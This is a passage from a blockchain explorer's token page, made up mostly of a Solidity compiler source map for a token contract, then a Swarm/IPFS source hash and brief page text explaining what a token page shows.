::i;:::-;11102:266;10982:386;11387:23;;;;:72;;;;-1:-1:-1;11421:13:0;;-1:-1:-1;;;;;11415:19:0;;;11421:13;;11415:19;;;;:43;;-1:-1:-1;11444:14:0;;-1:-1:-1;;;;;11438:20:0;;;11444:14;;;;;11438:20;;11415:43;11387:91;;;;-1:-1:-1;1780:7:0;1807:6;-1:-1:-1;;;;;11463:15:0;;;1807:6;;11463:15;;11387:91;:108;;;;-1:-1:-1;1780:7:0;1807:6;-1:-1:-1;;;;;11482:13:0;;;1807:6;;11482:13;;11387:108;11384:179;;;-1:-1:-1;;;;;11516:24:0;;;;;;:20;:24;;;;;:31;;-1:-1:-1;;11516:31:0;11543:4;11516:31;;;11384:179;10301:1273;;10263:1311;-1:-1:-1;;;;;11650:24:0;;11586:12;11650:24;;;:18;:24;;;;;;11601:4;;11650:24;;;:50;;-1:-1:-1;;;;;;11678:22:0;;;;;;:18;:22;;;;;;;;11650:50;11649:102;;;-1:-1:-1;11714:13:0;;-1:-1:-1;;;;;11706:21:0;;;11714:13;;11706:21;;;;:44;;-1:-1:-1;11737:13:0;;-1:-1:-1;;;;;11731:19:0;;;11737:13;;11731:19;;11706:44;11645:594;;;-1:-1:-1;11778:5:0;11645:594;;;11861:13;;-1:-1:-1;;;;;11853:21:0;;;11861:13;;11853:21;:55;;;;-1:-1:-1;11892:15:0;;-1:-1:-1;;;;;11878:30:0;;;11892:15;;11878:30;;11853:55;11850:162;;;11941:14;;11929:9;:26;11984:12;;11974:7;:22;11850:162;12071:13;;-1:-1:-1;;;;;12065:19:0;;;12071:13;;12065:19;:55;;;;-1:-1:-1;12104:15:0;;-1:-1:-1;;;;;12088:32:0;;;12104:15;;12088:32;;12065:55;12061:165;;;12153:15;;12141:9;:27;12197:13;;12187:7;:23;12061:165;12251:41;12266:4;12272:2;12276:6;12284:7;12251:14;:41::i;2875:224::-;2995:7;3031:12;3023:6;;;;3015:29;;;;-1:-1:-1;;;3015:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3055:9:0;3067:5;3071:1;3067;:5;:::i;:::-;3055:17;2875:224;-1:-1:-1;;;;;2875:224:0:o;13431:99::-;13488:17;;:34;;-1:-1:-1;;;;;13488:17:0;;;;:34;;;;;13515:6;;13488:17;:34;:17;:34;13515:6;13488:17;:34;;;;;;;;;;;;;;;;;;;;;13431:99;:::o;8858:323::-;8953:7;9011;;9000;:18;;8978:110;;;;-1:-1:-1;;;8978:110:0;;9808:2:1;8978:110:0;;;9790:21:1;9847:2;9827:18;;;9820:30;9886:34;9866:18;;;9859:62;-1:-1:-1;;;9937:18:1;;;9930:40;9987:19;;8978:110:0;9606:406:1;8978:110:0;9099:19;9121:10;:8;:10::i;:::-;9099:32;-1:-1:-1;9149:24:0;:7;9099:32;9149:11;:24::i;12308:483::-;6570:6;:13;;-1:-1:-1;;;;6570:13:0;-1:-1:-1;;;6570:13:0;;;12410:16:::1;::::0;;12424:1:::1;12410:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12410:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12410:16:0::1;12386:40;;12455:4;12437;12442:1;12437:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12437:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12481:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12481:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12437:7;;12481:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12471:4;12476:1;12471:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12471:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12546:15:::1;::::0;12514:62:::1;::::0;12531:4:::1;::::0;12546:15:::1;12564:11:::0;12514:8:::1;:62::i;:::-;12587:15;::::0;:196:::1;::::0;-1:-1:-1;;;12587:196:0;;-1:-1:-1;;;;;12587:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12668:11;;12587:15:::1;::::0;12710:4;;12737::::1;::::0;12757:15:::1;::::0;12587:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6606:6:0;:14;;-1:-1:-1;;;;6606:14:0;;;-1:-1:-1;;;;12308:483:0:o;3501:223::-;3621:7;3656:12;3649:5;3641:28;;;;-1:-1:-1;;;3641:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3680:9:0;3692:5;3696:1;3692;:5;:::i;14027:282::-;14183:7;14178:28;;14192:14;:12;:14::i;:::-;14217:44;14235:6;14243:9;14254:6;14217:17;:44::i;:::-;14277:7;14272:29;;14286:15;9472:17;;9460:9;:29;9510:15;;9500:7;:25;9416:117;16988:164;17030:7;17051:15;17068;17087:19;:17;:19::i;:::-;17050:56;;-1:-1:-1;17050:56:0;-1:-1:-1;17124:20:0;17050:56;;17124:11;:20::i;:::-;17117:27;;;;16988:164;:::o;9189:219::-;9236:9;;:14;:30;;;;-1:-1:-1;9254:7:0;;:12;9236:30;9232:43;;;9189:219::o;9232:43::-;9307:9;;;9287:17;:29;9345:7;;;9327:15;:25;-1:-1:-1;9365:13:0;;;;9389:11;9189:219::o;14317:610::-;14464:15;14494:23;14532:12;14559:23;14597:12;14624:13;14651:19;14662:7;14651:10;:19::i;:::-;-1:-1:-1;;;;;14699:15:0;;;;;;:7;:15;;;;;;14449:221;;-1:-1:-1;14449:221:0;;-1:-1:-1;14449:221:0;;-1:-1:-1;14449:221:0;-1:-1:-1;14449:221:0;-1:-1:-1;14449:221:0;-1:-1:-1;14699:28:0;;14449:221;14699:19;:28::i;:::-;-1:-1:-1;;;;;14681:15:0;;;;;;;:7;:15;;;;;;:46;;;;14759:18;;;;;;;:39;;14782:15;14759:22;:39::i;:::-;-1:-1:-1;;;;;14738:18:0;;;;;;:7;:18;;;;;:60;14809:16;14819:5;14809:9;:16::i;:::-;14836:23;14848:4;14854;14836:11;:23::i;:::-;14892:9;-1:-1:-1;;;;;14875:44:0;14884:6;-1:-1:-1;;;;;14875:44:0;;14903:15;14875:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;14875:44:0;;;;;;;;14438:489;;;;;;14317:610;;;:::o;17160:257::-;17258:7;;17211;;;;5189:24;17326:20;17258:7;5189:24;17326:11;:20::i;:::-;17316:7;:30;17312:61;;;-1:-1:-1;;17356:7:0;;;5189:24;;-1:-1:-1;17160:257:0;-1:-1:-1;17160:257:0:o;17312:61::-;17392:7;;17401;;-1:-1:-1;17160:257:0;-1:-1:-1;17160:257:0:o;15346:615::-;15446:7;15468;15490;15512;15534;15556;15592:23;15617:12;15631:13;15661:40;15673:7;15682:9;;15693:7;;15661:11;:40::i;:::-;15591:110;;;;;;15712:19;15734:10;:8;:10::i;:::-;15712:32;;15756:15;15773:23;15798:12;15827:46;15839:7;15848:4;15854:5;15861:11;15827;:46::i;:::-;15755:118;;-1:-1:-1;15755:118:0;-1:-1:-1;15755:118:0;-1:-1:-1;15924:15:0;;-1:-1:-1;15941:4:0;;-1:-1:-1;15947:5:0;;-1:-1:-1;;;;;15346:615:0;;;;;;;:::o;2731:136::-;2789:7;2816:43;2820:1;2823;2816:43;;;;;;;;;;;;;;;;;:3;:43::i;2544:179::-;2602:7;;2634:5;2638:1;2634;:5;:::i;:::-;2622:17;;2663:1;2658;:6;;2650:46;;;;-1:-1:-1;;;2650:46:0;;11592:2:1;2650:46:0;;;11574:21:1;11631:2;11611:18;;;11604:30;11670:29;11650:18;;;11643:57;11717:18;;2650:46:0;11390:351:1;14935:211:0;14988:19;15010:10;:8;:10::i;:::-;14988:32;-1:-1:-1;15031:13:0;15047:22;:5;14988:32;15047:9;:22::i;:::-;15121:4;15105:22;;;;:7;:22;;;;;;15031:38;;-1:-1:-1;15105:33:0;;15031:38;15105:26;:33::i;:::-;15096:4;15080:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;14935:211:0:o;15154:147::-;15232:7;;:17;;15244:4;15232:11;:17::i;:::-;15222:7;:27;15273:10;;:20;;15288:4;15273:14;:20::i;:::-;15260:10;:33;-1:-1:-1;;15154:147:0:o;15969:469::-;16138:7;;;;16232:30;16258:3;16232:21;:7;16244:8;16232:11;:21::i;:::-;:25;;:30::i;:::-;16217:45;-1:-1:-1;16273:13:0;16289:28;16313:3;16289:19;:7;16301:6;16289:11;:19::i;:28::-;16273:44;-1:-1:-1;16328:23:0;16354:28;16273:44;16354:17;:7;16366:4;16354:11;:17::i;:::-;:21;;:28::i;:::-;16328:54;16418:4;;-1:-1:-1;16424:5:0;;-1:-1:-1;15969:469:0;;-1:-1:-1;;;;;15969:469:0:o;16446:534::-;16640:7;;;;16737:24;:7;16749:11;16737;:24::i;:::-;16719:42;-1:-1:-1;16772:12:0;16787:21;:4;16796:11;16787:8;:21::i;:::-;16772:36;-1:-1:-1;16819:13:0;16835:22;:5;16845:11;16835:9;:22::i;:::-;16819:38;-1:-1:-1;16868:23:0;16894:28;16819:38;16894:17;:7;16906:4;16894:11;:17::i;:28::-;16941:7;;;;-1:-1:-1;16967:4:0;;-1:-1:-1;16446:534:0;;-1:-1:-1;;;;;;;16446:534:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2505:160::-;2570:20;;2626:13;;2619:21;2609:32;;2599:60;;2655:1;2652;2645:12;2599:60;2505:160;;;:::o;2670:689::-;2762:6;2770;2778;2831:2;2819:9;2810:7;2806:23;2802:32;2799:52;;;2847:1;2844;2837:12;2799:52;2887:9;2874:23;2916:18;2957:2;2949:6;2946:14;2943:34;;;2973:1;2970;2963:12;2943:34;3011:6;3000:9;2996:22;2986:32;;3056:7;3049:4;3045:2;3041:13;3037:27;3027:55;;3078:1;3075;3068:12;3027:55;3118:2;3105:16;3144:2;3136:6;3133:14;3130:34;;;3160:1;3157;3150:12;3130:34;3215:7;3208:4;3198:6;3195:1;3191:14;3187:2;3183:23;3179:34;3176:47;3173:67;;;3236:1;3233;3226:12;3173:67;3267:4;3259:13;;;;-1:-1:-1;3291:6:1;-1:-1:-1;3316:37:1;;3332:20;;;-1:-1:-1;3316:37:1;:::i;:::-;3306:47;;2670:689;;;;;:::o;3572:180::-;3628:6;3681:2;3669:9;3660:7;3656:23;3652:32;3649:52;;;3697:1;3694;3687:12;3649:52;3720:26;3736:9;3720:26;:::i;3757:247::-;3816:6;3869:2;3857:9;3848:7;3844:23;3840:32;3837:52;;;3885:1;3882;3875:12;3837:52;3924:9;3911:23;3943:31;3968:5;3943:31;:::i;4009:180::-;4068:6;4121:2;4109:9;4100:7;4096:23;4092:32;4089:52;;;4137:1;4134;4127:12;4089:52;-1:-1:-1;4160:23:1;;4009:180;-1:-1:-1;4009:180:1:o;4194:388::-;4262:6;4270;4323:2;4311:9;4302:7;4298:23;4294:32;4291:52;;;4339:1;4336;4329:12;4291:52;4378:9;4365:23;4397:31;4422:5;4397:31;:::i;:::-;4447:5;-1:-1:-1;4504:2:1;4489:18;;4476:32;4517:33;4476:32;4517:33;:::i;:::-;4569:7;4559:17;;;4194:388;;;;;:::o;4587:356::-;4789:2;4771:21;;;4808:18;;;4801:30;4867:34;4862:2;4847:18;;4840:62;4934:2;4919:18;;4587:356::o;4948:127::-;5009:10;5004:3;5000:20;4997:1;4990:31;5040:4;5037:1;5030:15;5064:4;5061:1;5054:15;5080:127;5141:10;5136:3;5132:20;5129:1;5122:31;5172:4;5169:1;5162:15;5196:4;5193:1;5186:15;5212:135;5251:3;5272:17;;;5269:43;;5292:18;;:::i;:::-;-1:-1:-1;5339:1:1;5328:13;;5212:135::o;5759:168::-;5832:9;;;5863;;5880:15;;;5874:22;;5860:37;5850:71;;5901:18;;:::i;5932:217::-;5972:1;5998;5988:132;;6042:10;6037:3;6033:20;6030:1;6023:31;6077:4;6074:1;6067:15;6105:4;6102:1;6095:15;5988:132;-1:-1:-1;6134:9:1;;5932:217::o;8584:125::-;8649:9;;;8670:10;;;8667:36;;;8683:18;;:::i;9473:128::-;9540:9;;;9561:11;;;9558:37;;;9575:18;;:::i;10149:251::-;10219:6;10272:2;10260:9;10251:7;10247:23;10243:32;10240:52;;;10288:1;10285;10278:12;10240:52;10320:9;10314:16;10339:31;10364:5;10339:31;:::i;10405:980::-;10667:4;10715:3;10704:9;10700:19;10746:6;10735:9;10728:25;10772:2;10810:6;10805:2;10794:9;10790:18;10783:34;10853:3;10848:2;10837:9;10833:18;10826:31;10877:6;10912;10906:13;10943:6;10935;10928:22;10981:3;10970:9;10966:19;10959:26;;11020:2;11012:6;11008:15;10994:29;;11041:1;11051:195;11065:6;11062:1;11059:13;11051:195;;;11130:13;;-1:-1:-1;;;;;11126:39:1;11114:52;;11221:15;;;;11186:12;;;;11162:1;11080:9;11051:195;;;-1:-1:-1;;;;;;;11302:32:1;;;;11297:2;11282:18;;11275:60;-1:-1:-1;;;11366:3:1;11351:19;11344:35;11263:3;10405:980;-1:-1:-1;;;10405:980:1:o
Swarm Source
ipfs://d83456b86044c75e16b68f46caa24a7c4f3f3fa93beffe0cfc38a9ea8025d7ae
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.